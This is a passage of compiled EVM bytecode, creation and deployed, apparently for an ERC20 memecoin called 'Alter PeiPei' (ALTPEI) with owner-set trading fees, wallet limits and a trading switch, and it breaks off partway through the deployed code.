6b033b2e3c9fd0803ce800000060045560e0604052600c60a09081526b416c7465722050656950656960a01b60c0526005906200003d9082620005b7565b5060408051808201909152600680825265414c5450454960d01b602083015290620000699082620005b7565b506007805461ff0019169055600454620f4240906200008a90600562000683565b620000969190620006af565b6008556064600454620000aa9190620006af565b600955600a805460ff19166001179055600454606490620000cd90600262000683565b620000d99190620006af565b600b5560646004546002620000ef919062000683565b620000fb9190620006af565b600c55600e805460ff19908116909155602360108190556011819055600060128190556013829055601491909155601555601c805490911660011790553480156200014557600080fd5b506200015133620002af565b600e805473188271358683342609f748106ce378bdf2706500610100600160a81b0319909116179055600f80546001600160a01b03191672188271358683342609f748106ce378bdf27065179055737a250d5630b4cf539739df2c5dacb4c659f2488d620001c1816001620002ff565b6001600160a01b038116608052620001db336001620003ae565b620001e8306001620003ae565b620001f761dead6001620003ae565b600e54620002159061010090046001600160a01b03166001620003ae565b600e546001600160a01b03610100909104166000908152601a60205260409020805460ff1916600190811790915562000250903390620002ff565b6200025d306001620002ff565b6200026c61dead6001620002ff565b600e546200028a9061010090046001600160a01b03166001620002ff565b620002953362000452565b5060045433600090815260026020526040902055620006d2565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000546001600160a01b031633146200034e5760405162461bcd60e51b81526020600482018190526024820152600080516020620026a183398151915260448201526064015b60405180910390fd5b6001600160a01b038216600081815260196020908152604091829020805460ff191685151590811790915591519182527f4b89c347592b1d537e066cb4ed98d87696ae35164745d7e370e4add16941dc9291015b60405180910390a25050565b6000546001600160a01b03163314620003f95760405162461bcd60e51b81526020600482018190526024820152600080516020620026a1833981519152604482015260640162000345565b6001600160a01b038216600081815260186020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df79101620003a2565b6000546001600160a01b031633146200049d5760405162461bcd60e51b81526020600482018190526024820152600080516020620026a1833981519152604482015260640162000345565b6001600160a01b038116620005045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840162000345565b6200050f81620002af565b50565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200053d57607f821691505b6020821081036200055e57634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620005b257600081815260208120601f850160051c810160208610156200058d5750805b601f850160051c820191505b81811015620005ae5782815560010162000599565b5050505b505050565b81516001600160401b03811115620005d357620005d362000512565b620005eb81620005e4845462000528565b8462000564565b602080601f8311600181146200062357600084156200060a5750858301515b600019600386901b1c1916600185901b178555620005ae565b600085815260208120601f198616915b82811015620006545788860151825594840194600190910190840162000633565b5085821015620006735787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b8082028115828204841417620006a957634e487b7160e01b600052601160045260246000fd5b92915050565b600082620006cd57634e487b7160e01b600052601260045260246000fd5b500490565b608051611f906200071160003960008181610a6601528181610b0701528181610c4d01528181611a5a01528181611b130152611b4f0152611f906000f3fe6080604052600436106101855760003560e01c8063751039fc116100d1578063a9059cbb1161008a578063d7ff53e511610064578063d7ff53e5146104d1578063dd62ed3e1461051d578063f242ab4114610563578063f2fde38b1461058357600080fd5b8063a9059cbb1461041e578063c40b793b1461043e578063c9b6c1ce146104b157600080fd5b8063751039fc1461036d5780637ff6f7b9146103825780638da5cb5b146103a257806395d89b41146103d45780639e78fb4f146103e9578063a457c2d7146103fe57600080fd5b8063395093511161013e578063622fa77211610118578063622fa772146102dd5780636fcba3771461030257806370a0823114610322578063715018a61461035857600080fd5b806339509351146102815780634482eea8146102a15780634ada218b146102c357600080fd5b806306fdde0314610191578063095ea7b3146101bc57806318160ddd146101ec57806323b872dd1461020b578063313ce5671461022b5780633308740b1461024757600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a66105a3565b6040516101b39190611be7565b60405180910390f35b3480156101c857600080fd5b506101dc6101d7366004611c4a565b610635565b60405190151581526020016101b3565b3480156101f857600080fd5b506004545b6040519081526020016101b3565b34801561021757600080fd5b506101dc610226366004611c76565b61064c565b34801561023757600080fd5b50604051601281526020016101b3565b34801561025357600080fd5b50600a54600b54600c5460ff909216915b6040805193151584526020840192909252908201526060016101b3565b34801561028d57600080fd5b506101dc61029c366004611c4a565b6106fd565b3480156102ad57600080fd5b506102c16102bc366004611ccc565b610739565b005b3480156102cf57600080fd5b50600e546101dc9060ff1681565b3480156102e957600080fd5b5060075460085460095461010090920460ff1691610264565b34801561030e57600080fd5b506102c161031d366004611d01565b6107c3565b34801561032e57600080fd5b506101fd61033d366004611d33565b6001600160a01b031660009081526002602052604090205490565b34801561036457600080fd5b506102c16108f2565b34801561037957600080fd5b506102c1610928565b34801561038e57600080fd5b506102c161039d366004611d50565b610989565b3480156103ae57600080fd5b506000546001600160a01b03165b6040516001600160a01b0390911681526020016101b3565b3480156103e057600080fd5b506101a66109c6565b3480156103f557600080fd5b506102c16109d5565b34801561040a57600080fd5b506101dc610419366004611c4a565b610d2e565b34801561042a57600080fd5b506101dc610439366004611c4a565b610dc7565b34801561044a57600080fd5b50610492610459366004611d33565b6001600160a01b03166000908152601860209081526040808320546019835281842054601b90935292205460ff92831693918316921690565b60408051931515845291151560208401521515908201526060016101b3565b3480156104bd57600080fd5b506102c16104cc366004611ccc565b610dd4565b3480156104dd57600080fd5b50601054601154601254601354601454601554604080519687526020870195909552938501929092526060840152608083015260a082015260c0016101b3565b34801561052957600080fd5b506101fd610538366004611d6b565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561056f57600080fd5b506001546103bc906001600160a01b031681565b34801561058f57600080fd5b506102c161059e366004611d33565b610e56565b6060600580546105b290611da4565b80601f01602080910402602001604051908101604052809291908181526020018280546105de90611da4565b801561062b5780601f106106005761010080835404028352916020019161062b565b820191906000526020600020905b81548152906001019060200180831161060e57829003601f168201915b5050505050905090565b6000610642338484610eee565b5060015b92915050565b6000610659848484611012565b6001600160a01b0384166000908152600360209081526040808320338452909152902054828110156106e35760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6106f08533858403610eee565b60019150505b9392505050565b3360008181526003602090815260408083206001600160a01b03871684529091528120549091610642918590610734908690611df4565b610eee565b6000546001600160a01b031633146107635760405162461bcd60e51b81526004016106da90611e07565b6001600160a01b038216600081815260196020908152604091829020805460ff191685151590811790915591519182527f4b89c347592b1d537e066cb4ed98d87696ae35164745d7e370e4add16941dc9291015b60405180910390a25050565b6000546001600160a01b031633146107ed5760405162461bcd60e51b81526004016106da90611e07565b601184905560128390556108018385611df4565b601055601482905560158190556108188183611df4565b60138190556028108015906108305750602860105411155b6108885760405162461bcd60e51b815260206004820152602360248201527f546f74616c206665652063616e6e6f7420626520686967686572207468616e2060448201526234302560e81b60648201526084016106da565b601054601154601254601354601454601554604080519687526020870195909552938501929092526060840152608083015260a08201527fe490d4d95c5ca383882c0ca6ab0ee247b96b01d6bd23231b1961ba35a7cfef139060c00160405180910390a150505050565b6000546001600160a01b0316331461091c5760405162461bcd60e51b81526004016106da90611e07565b61092660006115b5565b565b6000546001600160a01b031633146109525760405162461bcd60e51b81526004016106da90611e07565b600a805460ff1916905560405142907ff4eaa75eae08ae80c3daf791438dac1cff2cfd3b0bad2304ec7bbb067e50261690600090a2565b6000546001600160a01b031633146109b35760405162461bcd60e51b81526004016106da90611e07565b601c805460ff1916911515919091179055565b6060600680546105b290611da4565b6000546001600160a01b031633146109ff5760405162461bcd60e51b81526004016106da90611e07565b600e5460ff1615610a525760405162461bcd60e51b815260206004820152601a60248201527f54726164696e6720697320616c726561647920656e61626c656400000000000060448201526064016106da565b3060009081526003602090815260408083207f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316808552908352928190206000199055805163c45a015560e01b8152905163c45a0155926004808401939192918290030181865afa158015610ad3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610af79190611e3c565b6001600160a01b031663c9c653967f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b63573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b879190611e3c565b6040516001600160e01b031960e084901b1681526001600160a01b0390911660048201523060248201526044016020604051808303816000875af1158015610bd3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bf79190611e3c565b600180546001600160a01b0319166001600160a01b0392831690811782556000908152601b60205260409020805460ff1916821790558054610c3a921690610739565b30600081815260026020526040812054917f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03169163f305d719914791859080610c936000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610cfb573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610d209190611e59565b505050610d2b611605565b50565b3360009081526003602090815260408083206001600160a01b038616845290915281205482811015610db05760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016106da565b610dbd3385858403610eee565b5060019392505050565b6000610642338484611012565b6000546001600160a01b03163314610dfe5760405162461bcd60e51b81526004016106da90611e07565b6001600160a01b038216600081815260186020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df791016107b7565b6000546001600160a01b03163314610e805760405162461bcd60e51b81526004016106da90611e07565b6001600160a01b038116610ee55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106da565b610d2b816115b5565b6001600160a01b038316610f505760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106da565b6001600160a01b038216610fb15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106da565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166110765760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106da565b6001600160a01b0382166110d85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106da565b600081116111285760405162461bcd60e51b815260206004820152601860248201527f496e76616c6964207472616e736665722062616c616e6365000000000000000060448201526064016106da565b600a5460ff1615611486576000546001600160a01b0384811691161480159061115f57506000546001600160a01b03838116911614155b801561117357506001600160a01b03821615155b801561118a57506001600160a01b03821661dead14155b8015611199575060075460ff16155b1561148657600e5460ff1661123e576001600160a01b03831660009081526018602052604090205460ff16806111e757506001600160a01b03821660009081526018602052604090205460ff165b61123e5760405162461bcd60e51b815260206004820152602260248201527f5f7472616e736665723a3a2054726164696e67206973206e6f74206163746976604482015261329760f11b60648201526084016106da565b6001600160a01b0383166000908152601b602052604090205460ff16801561127f57506001600160a01b03821660009081526019602052604090205460ff16155b1561135457600c548111156112e55760405162461bcd60e51b815260206004820152602660248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201526536b0bc2a3c1760d11b60648201526084016106da565b600b546001600160a01b03831660009081526002602052604090205461130b9083611df4565b111561134f5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b60448201526064016106da565b611486565b6001600160a01b0382166000908152601b602052604090205460ff16801561139557506001600160a01b03831660009081526019602052604090205460ff16155b156113fc57600c5481111561134f5760405162461bcd60e51b815260206004820152602760248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152661036b0bc2a3c1760c91b60648201526084016106da565b6001600160a01b03821660009081526019602052604090205460ff1661148657600b546001600160a01b0383166000908152600260205260409020546114429083611df4565b11156114865760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b60448201526064016106da565b600854811080159081906114a15750600754610100900460ff165b80156114b0575060075460ff16155b80156114d457506001600160a01b0383166000908152601b602052604090205460ff165b80156114f957506001600160a01b03841660009081526018602052604090205460ff16155b1561151e576007805460ff1916600117905561151361164e565b6007805460ff191690555b600061152b85858561174b565b6001600160a01b038516600090815260026020526040902054909150611552908290611df4565b6001600160a01b0380861660008181526002602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115a69087815260200190565b60405180910390a35050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600e805460ff191660011790556007805461ff00191661010017905560405142907fb3da2db3dfc3778f99852546c6e9ab39ec253f9de7b0847afec61bd27878e92390600090a2565b30600090815260026020526040812054600954909182918211156116725760095492505b6008548390479082106116885761168882611a03565b60006116944783611bc3565b905060006116ba6116a6876001611df4565b6017546116b4908590611bcf565b90611bdb565b600060168190556017819055600f546040519293506001600160a01b03169183156108fc0291849190818181858888f19350505050158015611700573d6000803e3d6000fd5b50600e546040516001600160a01b0361010090920491909116904780156108fc02916000818181858888f19350505050158015611741573d6000803e3d6000fd5b5050505050505050565b6007546001600160a01b0384166000908152601a6020526040812054909160ff9081161591168381156117825792506106f6915050565b6001600160a01b03871660009081526018602052604090205460ff16806117c157506001600160a01b03861660009081526018602052604090205460ff165b156117cb57600092505b600083156119ba576001600160a01b0387166000908152601b602052604090205460ff1680156117fd57506000601354115b156118855761181c60646116b460135489611bcf90919063ffffffff16565b90506013546015548261182f9190611e87565b6118399190611e9e565b6017600082825461184a9190611df4565b909155505060135460145461185f9083611e87565b6118699190611e9e565b6016600082825461187a9190611df4565b909155506119329050565b6001600160a01b0388166000908152601b602052604090205460ff1680156118af57506000601054115b15611932576118ce60646116b460105489611bcf90919063ffffffff16565b9050601054601254826118e19190611e87565b6118eb9190611e9e565b601760008282546118fc9190611df4565b90915550506010546011546119119083611e87565b61191b9190611e9e565b6016600082825461192c9190611df4565b90915550505b80156119ad5730600090815260026020526040902054611953908290611df4565b30600081815260026020526040908190209290925590516001600160a01b038a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906119a49085815260200190565b60405180910390a35b6119b78183611ec0565b91505b6001600160a01b0388166000908152600260205260409020546119de908790611ec0565b6001600160a01b03891660009081526002602052604090205550925050509392505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611a3857611a38611ed3565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611ab6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ada9190611e3c565b81600181518110611aed57611aed611ed3565b60200260200101906001600160a01b031690816001600160a01b031681525050611b38307f000000000000000000000000000000000000000000000000000000000000000084610eee565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063791ac94790611b8d908590600090869030904290600401611ee9565b600060405180830381600087803b158015611ba757600080fd5b505af1158015611bbb573d6000803e3d6000fd5b505050505050565b60006106f68284611ec0565b60006106f68284611e87565b60006106f68284611e9e565b600060208083528351808285015260005b81811015611c1457858101830151858201604001528201611bf8565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610d2b57600080fd5b60008060408385031215611c5d57600080fd5b8235611c6881611c35565b946020939093013593505050565b600080600060608486031215611c8b57600080fd5b8335611c9681611c35565b92506020840135611ca681611c35565b929592945050506040919091013590565b80358015158114611cc757600080fd5b919050565b60008060408385031215611cdf57600080fd5b8235611cea81611c35565b9150611cf860208401611cb7565b90509250929050565b60008060008060808587031215611d1757600080fd5b5050823594602084013594506040840135936060013592509050565b600060208284031215611d4557600080fd5b81356106f681611c35565b600060208284031215611d6257600080fd5b6106f682611cb7565b60008060408385031215611d7e57600080fd5b8235611d8981611c35565b91506020830135611d9981611c35565b809150509250929050565b600181811c90821680611db857607f821691505b602082108103611dd857634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8082018082111561064657610646611dde565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611e4e57600080fd5b81516106f681611c35565b600080600060608486031215611e6e57600080fd5b8351925060208401519150604084015190509250925092565b808202811582820484141761064657610646611dde565b600082611ebb57634e487b7160e01b600052601260045260246000fd5b500490565b8181038181111561064657610646611dde565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611f395784516001600160a01b031683529383019391830191600101611f14565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212204bf6c736999caaf4a23a6a7c1d2816c3fe28033a7386645d9292e87978e938ab64736f6c634300081300334f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572

Deployed Bytecode

0x6080604052600436106101855760003560e01c8063751039fc116100d1578063a9059cbb1161008a578063d7ff53e511610064578063d7ff53e5146104d1578063dd62ed3e1461051d578063f242ab4114610563578063f2fde38b1461058357600080fd5b8063a9059cbb1461041e578063c40b793b1461043e578063c9b6c1ce146104b157600080fd5b8063751039fc1461036d5780637ff6f7b9146103825780638da5cb5b146103a257806395d89b41146103d45780639e78fb4f146103e9578063a457c2d7146103fe57600080fd5b8063395093511161013e578063622fa77211610118578063622fa772146102dd5780636fcba3771461030257806370a0823114610322578063715018a61461035857600080fd5b806339509351146102815780634482eea8146102a15780634ada218b146102c357600080fd5b806306fdde0314610191578063095ea7b3146101bc57806318160ddd146101ec57806323b872dd1461020b578063313ce5671461022b5780633308740b1461024757600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a66105a3565b6040516101b39190611be7565b60405180910390f35b3480156101c857600080fd5b506101dc6101d7366004611c4a565b610635565b60405190151581526020016101b3565b3480156101f857600080fd5b506004545b6040519081526020016101b3565b34801561021757600080fd5b506101dc610226366004611c76565b61064c565b34801561023757600080fd5b50604051601281526020016101b3565b34801561025357600080fd5b50600a54600b54600c5460ff909216915b6040805193151584526020840192909252908201526060016101b3565b34801561028d57600080fd5b506101dc61029c366004611c4a565b6106fd565b3480156102ad57600080fd5b506102c16102bc366004611ccc565b610739565b005b3480156102cf57600080fd5b50600e546101dc9060ff1681565b3480156102e957600080fd5b5060075460085460095461010090920460ff1691610264565b34801561030e57600080fd5b506102c161031d366004611d01565b6107c3565b34801561032e57600080fd5b506101fd61033d366004611d33565b6001600160a01b031660009081526002602052604090205490565b34801561036457600080fd5b506102c16108f2565b34801561037957600080fd5b506102c1610928565b34801561038e57600080fd5b506102c161039d366004611d50565b610989565b3480156103ae57600080fd5b506000546001600160a01b03165b6040516001600160a01b0390911681526020016101b3565b3480156103e057600080fd5b506101a66109c6565b3480156103f557600080fd5b506102c16109d5565b34801561040a57600080fd5b506101dc610419366004611c4a565b610d2e565b34801561042a57600080fd5b506101dc610439366004611c4a565b610dc7565b34801561044a57600080fd5b50610492610459366004611d33565b6001600160a01b03166000908152601860209081526040808320546019835281842054601b90935292205460ff92831693918316921690565b60408051931515845291151560208401521515908201526060016101b3565b3480156104bd57600080fd5b506102c16104cc366004611ccc565b610dd4565b3480156104dd57600080fd5b50601054601154601254601354601454601554604080519687526020870195909552938501929092526060840152608083015260a082015260c0016101b3565b34801561052957600080fd5b506101fd610538366004611d6b565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561056f57600080fd5b506001546103bc906001600160a01b031681565b34801561058f57600080fd5b506102c161059e366004611d33565b610e56565b6060600580546105b290611da4565b80601f01602080910402602001604051908101604052809291908181526020018280546105de90611da4565b801561062b5780601f106106005761010080835404028352916020019161062b565b820191906000526020600020905b81548152906001019060200180831161060e57829003601f168201915b5050505050905090565b6000610642338484610eee565b5060015b92915050565b6000610659848484611012565b6001600160a01b0384166000908152600360209081526040808320338452909152902054828110156106e35760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6106f08533858403610eee565b60019150505b9392505050565b3360008181526003602090815260408083206001600160a01b03871684529091528120549091610642918590610734908690611df4565b610eee565b6000546001600160a01b031633146107635760405162461bcd60e51b81526004016106da90611e07565b6001600160a01b038216600081815260196020908152604091829020805460ff191685151590811790915591519182527f4b89c347592b1d537e066cb4ed98d87696ae35164745d7e370e4add16941dc9291015b60405180910390a25050565b6000546001600160a01b031633146107ed5760405162461bcd60e51b81526004016106da90611e07565b601184905560128390556108018385611df4565b601055601482905560158190556108188183611df4565b60138190556028108015906108305750602860105411155b6108885760405162461bcd60e51b815260206004820152602360248201527f546f74616c206665652063616e6e6f7420626520686967686572207468616e2060448201526234302560e81b60648201526084016106da565b601054601154601254601354601454601554604080519687526020870195909552938501929092526060840152608083015260a08201527fe490d4d95c5ca383882c0ca6ab0ee247b96b01d6bd23231b1961ba35a7cfef139060c00160405180910390a150505050565b6000546001600160a01b0316331461091c5760405162461bcd60e51b81526004016106da90611e07565b61092660006115b5565b565b6000546001600160a01b031633146109525760405162461bcd60e51b81526004016106da90611e07565b600a805460ff1916905560405142907ff4eaa75eae08ae80c3daf791438dac1cff2cfd3b0bad2304ec7bbb067e50261690600090a2565b6000546001600160a01b031633146109b35760405162461bcd60e51b81526004016106da90611e07565b601c805460ff1916911515919091179055565b6060600680546105b290611da4565b6000546001600160a01b031633146109ff5760405162461bcd60e51b81526004016106da90611e07565b600e5460ff1615610a525760405162461bcd60e51b815260206004820152601a60248201527f54726164696e6720697320616c726561647920656e61626c656400000000000060448201526064016106da565b3060009081526003602090815260408083207f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316808552908352928190206000199055805163c45a015560e01b8152905163c45a0155926004808401939192918290030181865afa158015610ad3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610af79190611e3c565b6001600160a01b031663c9c653967f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b63573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b879190611e3c565b6040516001600160e01b031960e084901b1681526001600160a01b0390911660048201523060248201526044016020604051808303816000875af1158015610bd3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bf79190611e3c565b600180546001600160a01b0319166001600160a01b0392831690811782556000908152601b60205260409020805460ff1916821790558054610c3a921690610739565b30600081815260026020526040812054917f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03169163f305d719914791859080610c936000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610cfb573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610d209190611e59565b505050610d2b611605565b50565b3360009081526003602090815260408083206001600160a01b038616845290915281205482811015610db05760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016106da565b610dbd3385858403610eee565b5060019392505050565b6000610642338484611012565b6000546001600160a01b03163314610dfe5760405162461bcd60e51b81526004016106da90611e07565b6001600160a01b038216600081815260186020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df791016107b7565b6000546001600160a01b03163314610e805760405162461bcd60e51b81526004016106da90611e07565b6001600160a01b038116610ee55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106da565b610d2b816115b5565b6001600160a01b038316610f505760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106da565b6001600160a01b038216610fb15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106da565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166110765760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106da565b6001600160a01b0382166110d85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106da565b600081116111285760405162461bcd60e51b815260206004820152601860248201527f496e76616c6964207472616e736665722062616c616e6365000000000000000060448201526064016106da565b600a5460ff1615611486576000546001600160a01b0384811691161480159061115f57506000546001600160a01b03838116911614155b801561117357506001600160a01b03821615155b801561118a57506001600160a01b03821661dead14155b8015611199575060075460ff16155b1561148657600e5460ff1661123e576001600160a01b03831660009081526018602052604090205460ff16806111e757506001600160a01b03821660009081526018602052604090205460ff165b61123e5760405162461bcd60e51b815260206004820152602260248201527f5f7472616e736665723a3a2054726164696e67206973206e6f74206163746976604482015261329760f11b60648201526084016106da565b6001600160a01b0383166000908152601b602052604090205460ff16801561127f57506001600160a01b03821660009081526019602052604090205460ff16155b1561135457600c548111156112e55760405162461bcd60e51b815260206004820152602660248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201526536b0bc2a3c1760d11b60648201526084016106da565b600b546001600160a01b03831660009081526002602052604090205461130b9083611df4565b111561134f5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b60448201526064016106da565b611486565b6001600160a01b0382166000908152601b602052604090205460ff16801561139557506001600160a01b03831660009081526019602052604090205460ff16155b156113fc57600c5481111561134f5760405162461bcd60e51b815260206004820152602760248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152661036b0bc2a3c1760c91b60648201526084016106da565b6001600160a01b03821660009081526019602052604090205460ff1661148657600b546001600160a01b0383166000908152600260205260409020546114429083611df4565b11156114865760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b60448201526064016106da565b600854811080159081906114a15750600754610100900460ff165b80156114b0575060075460ff16155b80156114d457506001600160a01b0383166000908152601b602052604090205460ff165b80156114f957506001600160a01b03841660009081526018602052604090205460ff16155b1561151e576007805460ff1916600117905561151361164e565b6007805460ff191690555b600061152b85858561174b565b6001600160a01b038516600090815260026020526040902054909150611552908290611df4565b6001600160a01b0380861660008181526002602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115a69087815260200190565b60405180910390a35050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600e805460ff191660011790556007805461ff00191661010017905560405142907fb3da2db3dfc3778f99852546c6e9ab39ec253f9de7b0847afec61bd27878e92390600090a2565b30600090815260026020526040812054600954909182918211156116725760095492505b6008548390479082106116885761168882611a03565b60006116944783611bc3565b905060006116ba6116a6876001611df4565b6017546116b4908590611bcf565b90611bdb565b600060168190556017819055600f546040519293506001600160a01b03169183156108fc0291849190818181858888f19350505050158015611700573d6000803e3d6000fd5b50600e546040516001600160a01b0361010090920491909116904780156108fc02916000818181858888f19350505050158015611741573d6000803e3d6000fd5b5050505050505050565b6007546001600160a01b0384166000908152601a6020526040812054909160ff9081161591168381156117825792506106f6915050565b6001600160a01b03871660009081526018602052604090205460ff16806117c157506001600160a01b03861660009081526018602052604090205460ff165b156117cb57600092505b600083156119ba576001600160a01b0387166000908152601b602052604090205460ff1680156117fd57506000601354115b156118855761181c60646116b460135489611bcf90919063ffffffff16565b90506013546015548261182f9190611e87565b6118399190611e9e565b6017600082825461184a9190611df4565b909155505060135460145461185f9083611e87565b6118699190611e9e565b6016600082825461187a9190611df4565b909155506119329050565b6001600160a01b0388166000908152601b602052604090205460ff1680156118af57506000601054115b15611932576118ce60646116b460105489611bcf90919063ffffffff16565b9050601054601254826118e19190611e87565b6118eb9190611e9e565b601760008282546118fc9190611df4565b90915550506010546011546119119083611e87565b61191b9190611e9e565b6016600082825461192c9190611df4565b90915550505b80156119ad5730600090815260026020526040902054611953908290611df4565b30600081815260026020526040908190209290925590516001600160a01b038a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906119a49085815260200190565b60405180910390a35b6119b78183611ec0565b91505b6001600160a01b0388166000908152600260205260409020546119de908790611ec0565b6001600160a01b03891660009081526002602052604090205550925050509392505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611a3857611a38611ed3565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611ab6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ada9190611e3c565b81600181518110611aed57611aed611ed3565b60200260200101906001600160a01b031690816001600160a01b031681525050611b38307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84610eee565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac94790611b8d908590600090869030904290600401611ee9565b600060405180830381600087803b158015611ba757600080fd5b505af1158015611bbb573d6000803e3d6000fd5b505050505050565b60006106f68284611ec0565b60006106f68284611e